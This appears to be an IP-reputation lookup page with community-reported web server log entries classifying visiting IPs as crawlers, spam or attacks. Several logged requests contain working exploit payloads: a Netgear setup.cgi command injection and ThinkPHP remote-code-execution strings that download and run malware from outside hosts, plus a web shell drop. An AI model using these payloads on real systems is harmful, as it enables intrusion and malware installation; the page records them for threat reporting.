City: unknown
Region: unknown
Country: China
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
| IP | Type | Details | Datetime |
|---|---|---|---|
| 203.145.165.234 | attack | Invalid user 888888 from 203.145.165.234 port 31647 |
2020-05-24 00:11:23 |
| 203.145.165.234 | attack | Invalid user 888888 from 203.145.165.234 port 31647 |
2020-05-22 02:55:36 |
| 203.145.165.94 | attackspam | Unauthorized connection attempt from IP address 203.145.165.94 on Port 445(SMB) |
2019-11-24 06:58:01 |
| 203.145.165.94 | attackspam | Honeypot attack, port: 445, PTR: abts-north-static-094.165.145.203.airtelbroadband.in. |
2019-09-27 03:18:04 |
| 203.145.165.94 | attackspam | Unauthorized connection attempt from IP address 203.145.165.94 on Port 445(SMB) |
2019-09-10 23:43:45 |
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 203.145.16.86
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 35863
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;203.145.16.86. IN A
;; AUTHORITY SECTION:
. 404 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2024091100 1800 900 604800 86400
;; Query time: 17 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Wed Sep 11 16:58:17 CST 2024
;; MSG SIZE rcvd: 106Host 86.16.145.203.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 86.16.145.203.in-addr.arpa: NXDOMAIN| IP | Type | Details | Datetime |
|---|---|---|---|
| 220.181.108.90 | bots | 专爬图片的百度爬虫。。 |
2019-03-29 13:01:54 |
| 207.46.13.229 | bots | 微软bingbot |
2019-03-29 09:12:04 |
| 125.121.138.168 | spamattack | 伪爬虫 125.121.138.168 - - [05/Apr/2019:12:39:38 +0800] "HEAD / HTTP/1.1" 301 265 "http://m.58.com/" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html\\xa3\\xa9" 125.121.138.168 - - [05/Apr/2019:12:39:40 +0800] "HEAD / HTTP/1.1" 200 3528 "http://m.58.com/" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html\\xa3\\xa9" 125.121.138.168 - - [05/Apr/2019:12:39:41 +0800] "POST //admin_aspcms/_system/AspCms_SiteSetting.asp?action=saves HTTP/1.1" 404 542 "http://m.58.com/" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html\\xa3\\xa9" 125.121.138.168 - - [05/Apr/2019:12:39:41 +0800] "POST //utility/convert/index.php HTTP/1.1" 404 524 "http://m.58.com/" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html\\xa3\\xa9" |
2019-04-05 20:09:24 |
| 163.177.90.152 | attack | 163.177.90.152 - - [01/Apr/2019:07:00:08 +0800] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 163.177.90.152 - - [01/Apr/2019:07:00:09 +0800] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 209 "http://118.25.52.138/phpMyAdmin/phpMyAdmin/index.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-01 07:03:43 |
| 180.153.234.234 | bots | 360爬虫列表
180.153.232.*
180.153.234.*
180.153.236.*
180.163.220.*
42.236.101.*
42.236.102.*
42.236.103.*
42.236.10.*
42.236.12.*
42.236.13.*
42.236.14.*
42.236.15.*
42.236.16.*
42.236.17.*
42.236.46.*
42.236.48.*
42.236.49.*
42.236.50.*
42.236.51.*
42.236.52.*
42.236.53.*
42.236.54.*
42.236.55.*
42.236.99.* |
2019-03-28 20:23:09 |
| 77.247.109.8 | attack | 端口扫描 黑客攻击 |
2019-04-04 08:12:04 |
| 123.190.154.164 | attack | 123.190.154.164 - - [02/Apr/2019:09:32:58 +0800] "GET /otn/login/checkUser HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" |
2019-04-02 09:44:02 |
| 180.97.35.15 | bots | 据说是百度网讯的节点，反正最近爬的挺频繁的 180.97.35.59 180.97.35.4 180.97.35.5 等 |
2019-04-06 07:11:18 |
| 78.101.86.240 | attack | 78.101.86.240 - - [03/Apr/2019:12:25:10 +0800] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget%20http://185.22.154.89/bins/September.mips%20-O%20/var/tmp/September.mips;%20chmod%20777%20/var/tmp/September.mips;%20/var/tmp/September.mips;%20rm%20-rf%20/var/tmp/September.mips&curpath=/¤tsetting.htm=1" 400 0 "-" "-" |
2019-04-03 12:28:10 |
| 104.192.74.213 | bots | 机器IP，headless chrome 104.192.74.213 - - [04/Apr/2019:16:40:03 +0800] "GET /index.php/2018/12/05/baidu_2018_12_05_en/?replytocom=237 HTTP/1.1" 200 19564 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.110 Safari/537.36" 104.192.74.213 - - [04/Apr/2019:16:41:00 +0800] "GET /index.php/2019/04/04/palantir_2019_04_04_en/ HTTP/1.1" 200 10235 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.110 Safari/537.36" 104.192.74.213 - - [04/Apr/2019:16:41:46 +0800] "GET /index.php/2018/12/05/baidu_2018_12_05_en/?replytocom=6665 HTTP/1.1" 200 19563 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.110 Safari/537.36" |
2019-04-04 16:42:48 |
| 123.125.71.49 | bots | baidu spider百度爬虫 |
2019-03-28 17:36:41 |
| 92.240.69.137 | spamattack | 垃圾IP 92.240.69.137 - - [29/Mar/2019:07:56:34 +0800] "GET /wp-login.php HTTP/1.1" 200 5139 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 92.240.69.137 - - [29/Mar/2019:07:56:34 +0800] "POST /wp-login.php HTTP/1.1" 200 5541 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 92.240.69.137 - - [29/Mar/2019:07:56:34 +0800] "POST /xmlrpc.php HTTP/1.1" 404 3693 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" |
2019-03-29 09:14:58 |
| 138.197.77.207 | attack | 138.197.77.207 - - [01/Apr/2019:06:39:02 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://159.65.65.37/leet.x86;cat%20leet.x86%20%3E%20xdsf;chmod%20777%20xdsf;./xdsf%20thinkphp HTTP/1.1" 301 194 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-696.30.1.el6.x86_64" 138.197.77.207 - - [01/Apr/2019:06:39:04 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://159.65.65.37/leet.x86;cat%20leet.x86%20%3E%20xdsf;chmod%20777%20xdsf;./xdsf%20thinkphp HTTP/1.1" 404 209 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-696.30.1.el6.x86_64" 138.197.77.207 - - [01/Apr/2019:06:39:04 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;curl%20-O%20http://159.65.65.37/leet.x86;cat%20leet.x86%20%3E%20xdsf;chmod%20777%20xdsf;./xdsf%20thinkphp HTTP/1.1" 301 194 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-696.30.1.el6.x86_64" |
2019-04-01 06:59:47 |
| 157.55.39.74 | bots | 微软爬虫bingbot 157.55.39.74 - - [02/Apr/2019:14:26:06 +0800] "GET /index.php/2018/09/08/zte_2018_09_08_cn/ HTTP/1.1" 200 14334 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" |
2019-04-02 14:27:16 |
| 118.25.71.65 | attack | 攻击型IP
118.25.71.65 - - [31/Mar/2019:17:57:14 +0800] "GET /public/index.php?s=index/think\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start%20C:/Windows/temp/rdoromzcvnzisoj23580.exe HTTP/1.1" 400 682 "http://118.25.52.138:443/public/index.php?s=index/think\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start C:/Windows/temp/rdoromzcvnzisoj23580.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
118.25.71.65 - - [31/Mar/2019:17:57:14 +0800] "GET /public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^>hydra.php HTTP/1.1" 400 682 "http://118.25.52.138:443/public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^>hydra.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
118.25.71.65 - - [31/Mar/2019:17:57:14 +0800] "GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start%20C:/Windows/temp/rdoromzcvnzisoj23580.exe HTTP/1.1" 400 682 "http://118.25.52.138:443/public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start C:/Windows/temp/rdoromzcvnzisoj23580.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-03-31 17:58:18 |